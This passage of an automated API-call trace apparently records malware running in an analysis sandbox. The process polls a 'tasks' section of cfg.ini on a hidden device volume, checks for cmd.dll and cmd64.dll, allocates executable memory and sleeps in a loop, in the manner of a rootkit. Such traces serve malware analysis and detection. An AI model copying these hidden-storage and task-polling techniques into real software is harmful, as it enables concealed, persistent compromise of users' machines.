returned 0xfffffa8007ffba30 [0126.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.678] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.678] IdePortDispatch () returned 0x103 [0126.678] KeWaitForMutexObject () returned 0x0 [0126.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.678] KeLeaveCriticalRegion () [0126.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.678] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.678] KeEnterCriticalRegion () [0126.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.678] KeLeaveCriticalRegion () [0126.678] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.678] KeEnterCriticalRegion () [0126.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.678] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.679] KeLeaveCriticalRegion () [0126.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.679] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.679] KeEnterCriticalRegion () [0126.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.679] ExFreePoolWithTag (P=0xfffffa8003ac63b0, Tag=0x0) [0126.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.679] KeLeaveCriticalRegion () [0126.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.679] ReleaseMutex (hMutex=0xf0) returned 1 [0126.679] Sleep (dwMilliseconds=0x927c0) [0126.694] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.694] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.694] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.694] KeEnterCriticalRegion () [0126.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.694] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.694] IdePortDispatch () returned 0x103 [0126.694] KeWaitForMutexObject () returned 0x0 [0126.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] KeLeaveCriticalRegion () [0126.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.695] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.695] KeEnterCriticalRegion () [0126.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] KeLeaveCriticalRegion () [0126.695] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.695] KeEnterCriticalRegion () [0126.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.695] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.695] IdePortDispatch () returned 0x103 [0126.695] KeWaitForMutexObject () returned 0x0 [0126.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] KeLeaveCriticalRegion () [0126.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.695] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.695] KeEnterCriticalRegion () [0126.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b1000 [0126.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.696] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.696] IdePortDispatch () returned 0x103 [0126.696] KeWaitForMutexObject () returned 0x0 [0126.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.696] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.696] IdePortDispatch () returned 0x103 [0126.696] KeWaitForMutexObject () returned 0x0 [0126.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.696] KeLeaveCriticalRegion () [0126.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.696] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.697] KeEnterCriticalRegion () [0126.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] KeLeaveCriticalRegion () [0126.697] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.697] KeEnterCriticalRegion () [0126.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] KeLeaveCriticalRegion () [0126.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.697] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.697] KeEnterCriticalRegion () [0126.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.697] KeLeaveCriticalRegion () [0126.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.697] ReleaseMutex (hMutex=0xf0) returned 1 [0126.697] Sleep (dwMilliseconds=0x927c0) [0126.710] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.710] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.710] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.711] KeEnterCriticalRegion () [0126.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.711] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.711] IdePortDispatch () returned 0x103 [0126.711] KeWaitForMutexObject () returned 0x0 [0126.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed270 [0126.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.711] KeLeaveCriticalRegion () [0126.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.711] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.711] KeEnterCriticalRegion () [0126.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.711] KeLeaveCriticalRegion () [0126.711] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.711] KeEnterCriticalRegion () [0126.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.711] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.711] IdePortDispatch () returned 0x103 [0126.711] KeWaitForMutexObject () returned 0x0 [0126.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.712] KeLeaveCriticalRegion () [0126.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.712] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.712] KeEnterCriticalRegion () [0126.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6000 [0126.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.712] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.712] IdePortDispatch () returned 0x103 [0126.712] KeWaitForMutexObject () returned 0x0 [0126.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.712] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.712] IdePortDispatch () returned 0x103 [0126.712] KeWaitForMutexObject () returned 0x0 [0126.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.712] KeLeaveCriticalRegion () [0126.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.713] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.713] KeEnterCriticalRegion () [0126.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] KeLeaveCriticalRegion () [0126.713] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.713] KeEnterCriticalRegion () [0126.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] KeLeaveCriticalRegion () [0126.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.713] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.713] KeEnterCriticalRegion () [0126.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] ExFreePoolWithTag (P=0xfffffa80037ed270, Tag=0x0) [0126.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.713] KeLeaveCriticalRegion () [0126.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.713] ReleaseMutex (hMutex=0xf0) returned 1 [0126.713] Sleep (dwMilliseconds=0x927c0) [0126.728] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.728] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.728] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.728] KeEnterCriticalRegion () [0126.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.728] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.728] IdePortDispatch () returned 0x103 [0126.728] KeWaitForMutexObject () returned 0x0 [0126.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.728] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.728] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.728] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.728] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.728] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.728] KeLeaveCriticalRegion () [0126.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.728] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.728] KeEnterCriticalRegion () [0126.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.728] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.728] KeLeaveCriticalRegion () [0126.728] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.728] KeEnterCriticalRegion () [0126.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.728] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.729] IdePortDispatch () returned 0x103 [0126.729] KeWaitForMutexObject () returned 0x0 [0126.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.729] KeLeaveCriticalRegion () [0126.729] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.729] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.729] KeEnterCriticalRegion () [0126.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bb000 [0126.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.729] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.729] IdePortDispatch () returned 0x103 [0126.729] KeWaitForMutexObject () returned 0x0 [0126.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.729] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.729] IdePortDispatch () returned 0x103 [0126.729] KeWaitForMutexObject () returned 0x0 [0126.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] KeLeaveCriticalRegion () [0126.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.730] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.730] KeEnterCriticalRegion () [0126.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] KeLeaveCriticalRegion () [0126.730] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.730] KeEnterCriticalRegion () [0126.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.730] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] KeLeaveCriticalRegion () [0126.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.730] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.730] KeEnterCriticalRegion () [0126.730] 